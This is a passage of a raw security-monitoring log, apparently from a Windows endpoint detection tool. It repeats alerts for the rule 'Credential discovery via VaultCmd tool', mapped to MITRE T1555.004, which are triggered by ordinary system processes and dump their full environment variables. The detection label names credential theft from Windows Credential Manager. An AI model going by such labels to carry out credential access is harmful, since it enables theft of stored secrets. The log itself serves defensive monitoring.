Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:02:37+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5391722 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:02:28.9556068 +0100 CET + Params: file_key➜ ffff808cbeb30b10, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226c60000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:39+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5473912 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:29.6353264 +0100 CET + Params: file_key➜ ffff808cf80d9c20, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: tactic.id: TA0006, technique.id: T1555, tactic.name: Credential Access, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:39+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5473920 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:29.6393424 +0100 CET + Params: file_key➜ ffff808ce25f1670, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: tactic.name: Credential Access, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5474846 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:29.9457157 +0100 CET + Params: file_key➜ ffff808cf8035490, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, subtechnique.id: T1555.004, technique.id: T1555, technique.name: Credentials from Password Stores + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5474866 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:29.9498321 +0100 CET + Params: file_key➜ ffff808cf8019010, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5474945 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:30.256105 +0100 CET + Params: file_key➜ ffff808cf80192b0, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5475159 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:30.5708322 +0100 CET + Params: file_key➜ ffff808cf80d9c20, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, technique.name: Credentials from Password Stores, tactic.name: Credential Access + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program 